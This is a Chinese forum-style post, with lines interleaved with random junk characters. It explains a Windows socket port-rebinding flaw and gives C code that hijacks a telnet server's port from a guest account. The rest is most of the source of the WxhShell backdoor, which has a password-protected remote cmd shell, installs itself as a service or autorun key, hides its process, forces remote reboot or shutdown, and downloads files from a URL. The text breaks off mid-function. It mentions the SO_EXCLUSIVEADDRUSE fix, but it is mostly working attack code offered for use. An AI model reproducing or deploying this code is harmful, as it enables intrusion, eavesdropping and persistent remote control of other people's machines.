在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
uHu ( s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
=3R5m>6!/ Xx;4 saddr.sin_family = AF_INET;
!^*-]p/z WY`hNT6M saddr.sin_addr.s_addr = htonl(INADDR_ANY);
-'F? | [(D^`K<b bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
=c1t]%P, 15L0B5(3 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
u''~nSR3&
k\wcj^"cb 这意味着什么?意味着可以进行如下的攻击:
^a?H" \}9GK`oR 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
J[7|Ul1
< {I"`( 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
9 ! 6\8 ?=^M(TA; 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
H6! <y- iTpU4Qsj 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
0//B+.# P3u,)P& 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
TLC&@o
: qt&zo5 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
c=Y8R/G< " +n\0j; 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
#'2CST o*}--d?S #include
RbA.%~jjx* #include
SeX:A)*ez% #include
gyx4= 'Q #include
^V5g[XL2 DWORD WINAPI ClientThread(LPVOID lpParam);
D/7hVwMw: int main()
JAA{5@ST {
1p]Z9$Y WORD wVersionRequested;
IP
e"9xb DWORD ret;
cV+x.)a. WSADATA wsaData;
w\f>.N BOOL val;
WymBjDos: SOCKADDR_IN saddr;
YnLwBJ 2i SOCKADDR_IN scaddr;
!v`C-1}70 int err;
Zv8I`/4? SOCKET s;
TP-<Lhy SOCKET sc;
H.R7,'9 int caddsize;
2B<0|EGtzw HANDLE mt;
jh3XG DWORD tid;
SK&? s`
wVersionRequested = MAKEWORD( 2, 2 );
H;(|&Asq> err = WSAStartup( wVersionRequested, &wsaData );
JRT,%;*, if ( err != 0 ) {
*k%3J9=-1 printf("error!WSAStartup failed!\n");
e9e7_QG_- return -1;
$GcVI;a }
JLZ=$ d saddr.sin_family = AF_INET;
LsGu-Y5^ G"._]3CPF //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
1E'/! | >QJfTkD$ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
3Q-[)Z ) saddr.sin_port = htons(23);
gJv;{;% if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
|DZ3=eWZ {
w6w'Jx printf("error!socket failed!\n");
cHO8%xu` return -1;
! !9l@ }
Er]lObfQo val = TRUE;
v7kR]HU[y //SO_REUSEADDR选项就是可以实现端口重绑定的
'dFhZ08u} if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
S7_^E {
^3:y<{J printf("error!setsockopt failed!\n");
5f'<0D;K return -1;
C1YG=! }
xU5+"t~ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
*[MK{m //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
!o k6*m //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
:a#pzEK u|'}a3 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
*w[\(d'T {
q%Fc?d9 ret=GetLastError();
5?()o}VjAO printf("error!bind failed!\n");
3{;W!/&> return -1;
9*lkx# }
5_}e?T&s listen(s,2);
on=I*?+R while(1)
01P ~K|s {
AHA4{Zu[ caddsize = sizeof(scaddr);
M zbs#v0 //接受连接请求
D]UqM<0Rz sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
dU4G! if(sc!=INVALID_SOCKET)
*i>?YT {
k5=VH5{S mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
V;V,G+0Re if(mt==NULL)
DIU9Le {
S
;; Z printf("Thread Creat Failed!\n");
8%;K#,> break;
7 ?O~3 }
az=(6PX }
m@_m"1_; CloseHandle(mt);
lv*fK }
't5 I%F closesocket(s);
/#,3JU$w WSACleanup();
C<?Huw4R0 return 0;
ps*dO }
Lk-%I? DWORD WINAPI ClientThread(LPVOID lpParam)
{ta0dS;1 {
j+>#.22+ SOCKET ss = (SOCKET)lpParam;
g[,1$39Z|@ SOCKET sc;
>nnjLrI unsigned char buf[4096];
c T!L+zg SOCKADDR_IN saddr;
fzVU9BU long num;
ZPISclSA+
DWORD val;
)E2^G)J$W DWORD ret;
i{$h]D_fD //如果是隐藏端口应用的话,可以在此处加一些判断
jr9/ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
y+PiH saddr.sin_family = AF_INET;
-a}d
@& saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
UW%.G saddr.sin_port = htons(23);
gtBnP~zT\B if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Ve1O<i {
T|c9Swur printf("error!socket failed!\n");
2+Tu"oG;rB return -1;
0{O|o_ }
y<<:6OBj val = 100;
P2+Z^J`Y> if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
A?q9(n|A" {
+gQn,HX ret = GetLastError();
[uh$\s7 return -1;
| Ts0h?"a }
=7Wr if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
g`skmHS89 {
r9a?Y!( ret = GetLastError();
t1I` n(]n return -1;
+6xEz67A< }
dUTF0U if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
06&:X^ {
cN{-&\
6L printf("error!socket connect failed!\n");
Dw@0P closesocket(sc);
B>11 closesocket(ss);
+P&;cCV`S3 return -1;
'e3[m }
=HF||p@ while(1)
{iv!A=jld {
r#K;@wu2 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
|Q'l&Gt6 //如果是嗅探内容的话,可以再此处进行内容分析和记录
@Ik@1 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
4}~zVT0'~ num = recv(ss,buf,4096,0);
}/%(7Ff{ if(num>0)
^}-(8~_en send(sc,buf,num,0);
{ER%r'(4Z else if(num==0)
QX*HvT break;
tsFwFB* num = recv(sc,buf,4096,0);
mv1_vF: if(num>0)
QDRgVP send(ss,buf,num,0);
`dYM+ jpa else if(num==0)
-1Luyuy/` break;
39W6"^q"o }
6E!C xXUX closesocket(ss);
Q&Rj)1! closesocket(sc);
Daa2.* return 0 ;
mxYsP6& }
O^D$ ~
] LN8V&'> O1.a=O ==========================================================
Om%9 x /;%[:x 下边附上一个代码,,WXhSHELL
;)^eDJ< {I!sXj ==========================================================
By
t{3$ ~$0Qvyb> #include "stdafx.h"
[8k7-}[ B}.G(-u?7 #include <stdio.h>
rmCrP( #include <string.h>
f3 lKdXnP #include <windows.h>
;P-xKRU!Xx #include <winsock2.h>
^oFg5 #include <winsvc.h>
KfXE=v{t #include <urlmon.h>
X5'QYZ6kv }ST9&wi~ #pragma comment (lib, "Ws2_32.lib")
M'=27!D^ #pragma comment (lib, "urlmon.lib")
*3hqz<p4: 8
0>qqz #define MAX_USER 100 // 最大客户端连接数
e,_b #define BUF_SOCK 200 // sock buffer
glk_*x #define KEY_BUFF 255 // 输入 buffer
<t{T]i+ v'C`;I #define REBOOT 0 // 重启
!O=J8;oLk #define SHUTDOWN 1 // 关机
Wmp,,H FDB^JH9d #define DEF_PORT 5000 // 监听端口
5Pis0fa H1PW/AW #define REG_LEN 16 // 注册表键长度
Z6}B}5@y #define SVC_LEN 80 // NT服务名长度
$Nr :YI ~;Ga65_6_ // 从dll定义API
aDx{Q& typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
H)$-T1Wx4 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Rx$5#K!%M typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
"}i\"x;s typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
8J:6uO
c| JLsy|}> // wxhshell配置信息
jXO*_R struct WSCFG {
-WIT0F4o; int ws_port; // 监听端口
1.]Py" @: char ws_passstr[REG_LEN]; // 口令
3A_7R-sQ int ws_autoins; // 安装标记, 1=yes 0=no
u-zl- ?Ne char ws_regname[REG_LEN]; // 注册表键名
N\IdZX%u char ws_svcname[REG_LEN]; // 服务名
)#9R()n! char ws_svcdisp[SVC_LEN]; // 服务显示名
8>TDrpT} char ws_svcdesc[SVC_LEN]; // 服务描述信息
R$@|t? char ws_passmsg[SVC_LEN]; // 密码输入提示信息
X[:&p|g] int ws_downexe; // 下载执行标记, 1=yes 0=no
c <[?Z7y char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
@Z.s:FV[ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
u4L&8@ (]Z%&>* };
`z$<1QT &|7pu= // default Wxhshell configuration
t)74( struct WSCFG wscfg={DEF_PORT,
X I\zEXO "xuhuanlingzhe",
{]~b^=qE$ 1,
dZ&/Iz "Wxhshell",
C7`FM@z "Wxhshell",
r%hnl9 "WxhShell Service",
U:eahK "Wrsky Windows CmdShell Service",
5taYm' "Please Input Your Password: ",
pHlw&8(f" 1,
Nhv~f0 "
http://www.wrsky.com/wxhshell.exe",
7p&%0'BO1z "Wxhshell.exe"
H4 }^6><V };
Ij
hC@5qk ~A+DH // 消息定义模块
m!s/L,iJJ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
$-m`LF@ char *msg_ws_prompt="\n\r? for help\n\r#>";
Pew-6u" char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
p]uwGWDI char *msg_ws_ext="\n\rExit.";
f)\ =LV char *msg_ws_end="\n\rQuit.";
`Td 0R! char *msg_ws_boot="\n\rReboot...";
BlQu9{=n char *msg_ws_poff="\n\rShutdown...";
Wyf+xr'Ky char *msg_ws_down="\n\rSave to ";
v;X'4/M h_4o4# char *msg_ws_err="\n\rErr!";
4,kT4_&, char *msg_ws_ok="\n\rOK!";
08&DP^NS N^A&DrMF char ExeFile[MAX_PATH];
)/h~csy:~ int nUser = 0;
$D8eCjUm HANDLE handles[MAX_USER];
%ci/(wL int OsIsNt;
@cNX\$J s5>=!yX SERVICE_STATUS serviceStatus;
`d,hP"jBc SERVICE_STATUS_HANDLE hServiceStatusHandle;
;"=a-$vm ,Y
EB?HA // 函数声明
+1Oi-$
2- int Install(void);
?<\K!dA int Uninstall(void);
~p{.4n2: int DownloadFile(char *sURL, SOCKET wsh);
/GNLZm^ int Boot(int flag);
<;:M:{RZY void HideProc(void);
X62h7?'Pd int GetOsVer(void);
8moX"w\~_h int Wxhshell(SOCKET wsl);
~HsPYc8Fz void TalkWithClient(void *cs);
.,[zI@9 int CmdShell(SOCKET sock);
;w@PnY int StartFromService(void);
!']=7It{ int StartWxhshell(LPSTR lpCmdLine);
l9XK;0R9 zJS,f5L6) VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
E~xK1x" VOID WINAPI NTServiceHandler( DWORD fdwControl );
8 ~.|^no Y9ueE+6 // 数据结构和表定义
LD5n_W SERVICE_TABLE_ENTRY DispatchTable[] =
QD%~A0
{
Pp1HOJYJp0 {wscfg.ws_svcname, NTServiceMain},
zlIXia5 {NULL, NULL}
dL'hC#!h };
VL"!.^'c .w^M?}dx // 自我安装
/u{ 9UR[g int Install(void)
P]-d(N}/H {
]L4B char svExeFile[MAX_PATH];
j8?z@iG HKEY key;
3!&lio+< strcpy(svExeFile,ExeFile);
dIe-z7x O.e^?ysp/ // 如果是win9x系统,修改注册表设为自启动
YbF}(iM if(!OsIsNt) {
~sk ;6e)(2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
]Qe;+p9vU RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
B\1F RegCloseKey(key);
g<O*4
]= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
-Y%#z'^- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
{XiBRs e RegCloseKey(key);
a?K= return 0;
)s(J8J[b*L }
)Ac+5bs }
vr2tIKvpn }
D+d\<": else {
+Ck F#H ~ Qfr%BQV // 如果是NT以上系统,安装为系统服务
hN$6Kx>{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Mh>H5l.1i if (schSCManager!=0)
ufm`h)N {
.P.TqT@)r SC_HANDLE schService = CreateService
7yxZe4~|# (
u&1n~t` schSCManager,
)e|Cd} 2 wscfg.ws_svcname,
4UmTA_& Io wscfg.ws_svcdisp,
nk9Kq\2f: SERVICE_ALL_ACCESS,
Ks:~Z9r} SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
>up'`K, SERVICE_AUTO_START,
1iEZ9J? SERVICE_ERROR_NORMAL,
7!.%HhU0 svExeFile,
t<sg8U. NULL,
$A,fO~ NULL,
DbFTNoVR NULL,
Z=n#XJO15 NULL,
8=OK8UaU NULL
&Al9%W );
pUki!TA if (schService!=0)
JS% &ipm {
/Za'L#=R CloseServiceHandle(schService);
5fPYtVm CloseServiceHandle(schSCManager);
12v5*G[X strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
ivsp):W strcat(svExeFile,wscfg.ws_svcname);
~` v7 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
@kC>+4s! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
>K**SjVG RegCloseKey(key);
<n< @
O5 return 0;
aW]!$ }
gsd9QW }
aQ mgDF CloseServiceHandle(schSCManager);
>lQ&^9EI% }
2
|w;4 }
GJW+'-f 9qkH~B7 return 1;
R4GmUCKB= }
2j8^Z 5OP$n]|( // 自我卸载
gBz$RfyF int Uninstall(void)
Ac!,#Fq {
Xm&L@2V HKEY key;
~fB}v _,(]T&j #2 if(!OsIsNt) {
3UgusH3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
epp ;~(xr RegDeleteValue(key,wscfg.ws_regname);
w-\U;&8 RegCloseKey(key);
3 G/#OJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
XH&Fn+ RegDeleteValue(key,wscfg.ws_regname);
Va,M9)F RegCloseKey(key);
4&;.>{:; return 0;
B8-v!4b0` }
GCCmUR9d }
w_|R.T\7 }
2P`QS@v0a= else {
CLU !/J$! 'jWd7w~( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
c0jdZ#H if (schSCManager!=0)
[b-27\b {
peqoLeJI SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
G4->7n N if (schService!=0)
{?m;DYv {
l^4[;%*f#l if(DeleteService(schService)!=0) {
k .? aq CloseServiceHandle(schService);
wOQ-sp0q0 CloseServiceHandle(schSCManager);
5\1Z"? return 0;
CZyOAoc< }
^G%Bj`% CloseServiceHandle(schService);
T0n=nC}< }
%\#s@8=2u CloseServiceHandle(schSCManager);
:UMg5eZ }
*%_:[> }
> ^fY`x, R<
@o]p return 1;
e:}8|e~T }
Q#P=t83 qR0V\OtgY~ // 从指定url下载文件
-C.x;@!k int DownloadFile(char *sURL, SOCKET wsh)
qp
(ng8%c {
0/P!rH9 HRESULT hr;
iOz<n
z char seps[]= "/";
yo*c& > char *token;
MN\/F4Io char *file;
g/,fjM_ char myURL[MAX_PATH];
33x3zEUt6 char myFILE[MAX_PATH];
HpXMPHd |eL&hwqzG strcpy(myURL,sURL);
iA*Z4FKkT token=strtok(myURL,seps);
a*JM2^,HO while(token!=NULL)
|,M&ks {
r*]0PQ{? file=token;
86O"w*9 token=strtok(NULL,seps);
s mub> V }
2f\;#- }T%;G /W GetCurrentDirectory(MAX_PATH,myFILE);
w#[Ul9=?6 strcat(myFILE, "\\");
1BQTvUAA strcat(myFILE, file);
|gEA.}
pY send(wsh,myFILE,strlen(myFILE),0);
R_J=x send(wsh,"...",3,0);
3U=q3{%1 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
[Z6]$$!#2 if(hr==S_OK)
j-|YE?AA return 0;
GXB4&Q!C else
R L/~E
xYC return 1;
BX$t |t;!m Y W_E,A>h }
<$Q\vCR 4S|! iOY // 系统电源模块
])h={gI int Boot(int flag)
;AKtbS;H {
B[7|]"L@ HANDLE hToken;
G3&ES3L TOKEN_PRIVILEGES tkp;
jfF,:(P%W +:1ay^YI if(OsIsNt) {
~a m]G0 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
)l*H$8 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
}/BwFB+(/ tkp.PrivilegeCount = 1;
?TLEZlB2" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
)%%RI_JT AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
cAC2Xq if(flag==REBOOT) {
eU_|.2 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
R-]QU`c return 0;
_H@s^g }
dj4 g else {
{;^booq if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
]YkF^Pf!v return 0;
pWH8ex+ }
j~c7nWfX }
d$)'?Sf]h else {
[^ck;4q if(flag==REBOOT) {
Malt7M if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
p%Ae"#_X% return 0;
V[,/Hw~d% }
ie^:PcU else {
C3-l(N1O{ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
0X+Jj/-ge return 0;
R[
S*ON }
!e6;@ * }
,R0@`t1 p E>TD` return 1;
m
s\:^a }
Q_/{TE/sO5 *2crhI*@> // win9x进程隐藏模块
>JS\H6 void HideProc(void)
{y<[1Pms {
L5%~H?K( /tA$'tZ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
M]!\X6<_ if ( hKernel != NULL )
w<j6ln+nM {
;+K:^*oJ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
kac@yQD ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
6}R^L(^M FreeLibrary(hKernel);
vrn IEur }
\*6%o0c :Oo return;
"-XL Y_ }
0*VRFd4 qhVDC // 获取操作系统版本
KL*ZPKG int GetOsVer(void)
N^q*lV#kob {
oTo'? E# OSVERSIONINFO winfo;
3O%[k<S\VO winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
liFNJd`|o+ GetVersionEx(&winfo);
: Ey if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Nt67Ye3; return 1;
e.G&hJr else
srx`"
: return 0;
k='sI^lF }
{.SN !Qrlb>1z- // 客户端句柄模块
0sVCTJ@ int Wxhshell(SOCKET wsl)
zm2&\8J {
ih2H~c>O SOCKET wsh;
B$g!4C
`g struct sockaddr_in client;
VJD$nh
#M5 DWORD myID;
nXK"B Ye 00?^!'; while(nUser<MAX_USER)
BMU~1[r {
~FH''}3:3 int nSize=sizeof(client);
X55Eemg/ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
`j[)iok if(wsh==INVALID_SOCKET) return 1;
v"O{5LM" _]1dm)% handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
8^p/?R^bu if(handles[nUser]==0)
^SxB b,\ closesocket(wsh);
eznw05U else
8U\;N nUser++;
9%oLv25{) }
xBG&ZM4"^f WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
/#9O{) HoymGU`w return 0;
w |>:mQnU }
?A(=%c|,g )HS|pS: // 关闭 socket
wGd8q xa void CloseIt(SOCKET wsh)
({Fus@/ {
RoM'+1nP:# closesocket(wsh);
Y {Klwn nUser--;
+
}( ExitThread(0);
z|}Anc[\ }
R[wy{4<y EU ThH. // 客户端请求句柄
=w".B[r void TalkWithClient(void *cs)
!#3#}R.$Fl {
s
ZkQJ-> Cv{rd##Y8 SOCKET wsh=(SOCKET)cs;
g Gg8O? Z char pwd[SVC_LEN];
ma~WJ0LM\ char cmd[KEY_BUFF];
y_qFXd char chr[1];
U?>P6p int i,j;
g-oHu8 #PoUCRRC while (nUser < MAX_USER) {
`*9W{|~Gwx N-3w)23*: if(wscfg.ws_passstr) {
'68{dyFZL if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
7R<<}dA] //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
|=l;UqB //ZeroMemory(pwd,KEY_BUFF);
dQ`ch~HVUW i=0;
`zC_?+ while(i<SVC_LEN) {
*`ji2+4Sjw yXc/Nl% // 设置超时
:2 ?dl:l fd_set FdRead;
$Xk1'AzB8 struct timeval TimeOut;
)eY3[>` FD_ZERO(&FdRead);
cliP+# FD_SET(wsh,&FdRead);
n1DD+@ TimeOut.tv_sec=8;
n0@e%=H)I TimeOut.tv_usec=0;
W)<us?5Ec5 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
$4 >K2 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
p:k>!8.Qho O]m,zk if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Sq-mH=rs] pwd
=chr[0]; s=~r. x
if(chr[0]==0xd || chr[0]==0xa) { -nN }8&l
pwd=0; s4;SA
break; q3T'rw%Eh
} ?5'UrqYSW
i++; <bXfjj6YJ@
} "1&C\}.7
#]:yCiA
// 如果是非法用户,关闭 socket U|uvSJ)X
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fseHuL=~
} >LFhu6T
bCdEItcD
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fph*|T&R
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); epW;]>
l
!(w\%$|
while(1) { 7tUl$H;I/R
8D)*~C'85E
ZeroMemory(cmd,KEY_BUFF); -HP [IJP
\2:
JX?Jw!
// 自动支持客户端 telnet标准 53=s'DZ
j=0;
x76<u:
while(j<KEY_BUFF) { '2/48j X5
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }7X85@jC
cmd[j]=chr[0]; ]|Vm*zO
if(chr[0]==0xa || chr[0]==0xd) { wB?;3lTS
cmd[j]=0; 7od!:<v/
break; {#zJx(2yG
} C \H%4p1r
j++; fE|([` !
} fHb0pp\[.
Y=x]'3}^
// 下载文件 7zgU>$i
if(strstr(cmd,"http://")) { $a(wM1S4
send(wsh,msg_ws_down,strlen(msg_ws_down),0); [FAoC3 k-h
if(DownloadFile(cmd,wsh)) -_%n\#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); kJlRdt2
else U" aFi
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F4e<=R
} d;
oaG (e
else { [|<|a3']|
"DjD"?/b
switch(cmd[0]) { }PK8[N
i0L)hkV
// 帮助 ;I:jd")
case '?': { ljlQ9wb[s
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nr!kx)j
break; G3OqRH
} 7 H.2]X
// 安装 'X<R)E
case 'i': { 0KHA5dt
if(Install()) [9Q2/V;Uk%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &f|LjpMCf
else kZ[E493bV
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v5; c}n
break; )<UNiC
} S$=])^ dur
// 卸载 7-'!XD!
case 'r': { b9%hzD,MR
if(Uninstall()) A>b o Xcr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); UCa(3p^V_
else mG1=8{o^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bEMD2ABm
break; mPi4.p)
} ES(b#BlrP/
// 显示 wxhshell 所在路径 3(}W=oI
case 'p': { `(q+@ #)
char svExeFile[MAX_PATH]; wZ0$ylEX
strcpy(svExeFile,"\n\r"); #:v|/2
strcat(svExeFile,ExeFile); w=rh@S]
send(wsh,svExeFile,strlen(svExeFile),0); {}s7q|$
break; >IJH#>i
} : ,fs'!
// 重启 }<[@)g.h.
case 'b': { ;xN4L
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f-k%P$"X&
if(Boot(REBOOT)) xeIt7b?#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O<
v0{z09*
else { l7Zqk GG]
closesocket(wsh); cD YKvrPY
ExitThread(0); BB.^-0up
} cE$<6&0
break; ^GD"aerNr
} O8wR#(/
// 关机 V) a<)
case 'd': { :tl*>d~
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P bj &l0C
if(Boot(SHUTDOWN)) D2# 3fM6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f0~<qT?:n
else { ^|5vmI'E
closesocket(wsh); h
rW
ExitThread(0); f1rP+l-C<
} QaH32(iH
break; 5*/~) wN\U
} 0>6J -
// 获取shell @a'Rn
case 's': { P6!c-\
CmdShell(wsh); [o<Rgq4
closesocket(wsh); dzjp,c@
ExitThread(0); \'xF\V
break; /vYuwaWG=
} l:-$ulAx
// 退出 3,8<5)ds*
case 'x': { Bk_23ygO_
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j_H9l,V
CloseIt(wsh); )>QpR8
G-
break; ^RAst1q7
} <'>c`80@\*
// 离开 v,I4ozDx
case 'q': { ve49m%NQ
send(wsh,msg_ws_end,strlen(msg_ws_end),0); zVKbM3(^
closesocket(wsh); _D1Uc|
WSACleanup(); 7?9QlUO
exit(1); @SjISZw_
break; &G\Vn,1v
} X4_1kY;
} tg_xk+x
} i882r=TE3
<~@}r\
// 提示信息 LUc!a4i"fO
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Za_w@o
} _ I"}3*
} mEeD[dMN
3k(A&]~v
return; 3q:U0&F
} Q'5]E{1<'n
O`j1~o<{
// shell模块句柄 Lp.dF)C\
int CmdShell(SOCKET sock) "Rr)1x7
{ w<#/ngI2
STARTUPINFO si; "
R!,5HQF;
ZeroMemory(&si,sizeof(si)); T1%_sq
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "yJFb=Xdq
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L1ro\ H
PROCESS_INFORMATION ProcessInfo; \f\CK@
char cmdline[]="cmd"; o-a\T
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d0``:
return 0; S3 12#X(%
} (yA`h@@WS
v7gs
$'Q
// 自身启动模式 o 9\J
vJk
int StartFromService(void) ?*cr|G$r[
{ v+Mi"ZAd
typedef struct hGh91c;4
{ l7 Pn5c
DWORD ExitStatus; 2T 3tKX
DWORD PebBaseAddress; pse$ S=
DWORD AffinityMask; 0Lb:N]5m8
DWORD BasePriority; e}>3<Dh
